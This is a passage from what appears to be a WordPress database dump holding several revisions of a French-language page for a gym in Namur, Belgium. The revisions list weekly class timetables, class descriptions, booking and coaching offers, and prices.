class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:19:09', '2014-08-31 08:19:09', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(446, 1, '2014-08-31 08:04:06', '2014-08-31 08:04:06', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:04:06', '2014-08-31 08:04:06', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(447, 1, '2014-08-31 08:05:26', '2014-08-31 08:05:26', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;15h30&lt;/td&gt;\r\n&lt;td&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie 